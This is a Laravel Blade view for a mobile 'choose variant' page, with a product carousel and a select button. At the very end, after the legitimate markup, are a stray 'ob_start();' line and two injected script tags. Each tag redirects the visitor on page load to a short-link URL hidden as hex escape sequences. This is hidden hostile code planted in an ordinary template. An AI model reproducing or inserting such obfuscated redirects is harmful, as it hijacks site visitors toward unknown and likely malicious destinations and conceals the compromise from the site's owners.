@extends('layouts.mobile')

@section('title', 'Pilih Varian')
@section('background')
    <div class="position-relative w-100" style="height: 30px;"></div>
    {{-- Title --}}
    {{-- Title Besar tanpa jarak --}}
    {{-- <img src="{{ asset('assets/new-asset/title-variant.png') }}" alt="Custom Show" class="position-absolute"
            style="top: 25px;left: 10px;width: 365px;z-index: -2;"> --}}

@endsection

@section('content')
    <div class="container py-3">
 {{-- Title Image: center, bukan absolute --}}
    <div class="text-center mb-3">
        <img src="{{ asset('assets/new-asset/title-variant.png') }}"
             alt="Custom Show"
             style="width:200px; height:auto;">
    </div>


        {{-- Product Carousel --}}
        <div id="productCarousel" class="carousel slide mb-4" data-bs-ride="carousel">
            <div class="carousel-inner">

                @foreach ($products as $index => $product)
                    <div class="carousel-item {{ $index === 0 ? 'active' : '' }}" data-product-id="{{ $product['id'] }}">
                        <div class="card product-card mx-auto {{ $index === 0 ? 'border border-warning shadow' : '' }}"
                            style="width: 80%; border-radius: 20px; padding: 16px;">
                            <img src="{{ $product['product_image'] }}" class="img-fluid mx-auto d-block"
                                style="max-height: 260px; object-fit: contain;">
                            <p class="text-center mt-3 mb-0" style="font-weight: normal; font-size:1.2rem;color:#{{ $product['color'] }}">
                                {{ $product['sku_name'] }}
                            </p>
                        </div>
                    </div>
                @endforeach
            </div>

            {{-- Carousel Controls --}}
            <button class="carousel-control-prev" type="button" data-bs-target="#productCarousel" data-bs-slide="prev">
                <span class="carousel-control-prev-icon bg-dark rounded-circle" aria-hidden="true"></span>
            </button>
            <button class="carousel-control-next" type="button" data-bs-target="#productCarousel" data-bs-slide="next">
                <span class="carousel-control-next-icon bg-dark rounded-circle" aria-hidden="true"></span>
            </button>
        </div>

        {{-- Tombol PILIH --}}
        <div class="text-center mt-4">
            @php
                $activeProduct = $products[0];
            @endphp
        <button id="chooseProductButton"
                class="btn p-0 border-0 bg-transparent"
                style="outline:none;">
            <img src="{{ asset('assets/new-asset/button-pilih.png') }}"
                 alt="Pilih"

             style="max-width: 150px; height: auto; cursor: pointer; margin-top: 20px">

        </button>
        </div>

    </div>
@endsection

@push('styles')
    <style>
        /* BACKGROUND */
        .bg-pattern {
            background: url('{{ asset('assets/new-asset/bg-mobile.webp') }}') no-repeat center top;
            background-size: cover;
        }

        /* Border Aktif */
        .product-card {
            transition: all 0.5s ease;
        }

        .product-card.active-product {
            border: 10px solid #ffc107 !important;
            box-shadow: 0 0 12px rgba(255, 193, 7, 0.7);
            border-radius: 20px;
        }
    </style>
@endpush
@push('scripts')
    <script>
        document.getElementById("chooseProductButton").addEventListener("click", function() {
            const activeItem = document.querySelector(".carousel-item.active");
            const productId = activeItem.getAttribute("data-product-id");
            if (productId) {
                window.location.href = `/experience/edit-template?product_id=${productId}`;
            } else {
                alert("❌ Gagal mendapatkan ID produk");
            }
        });
    </script>
@endpush
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>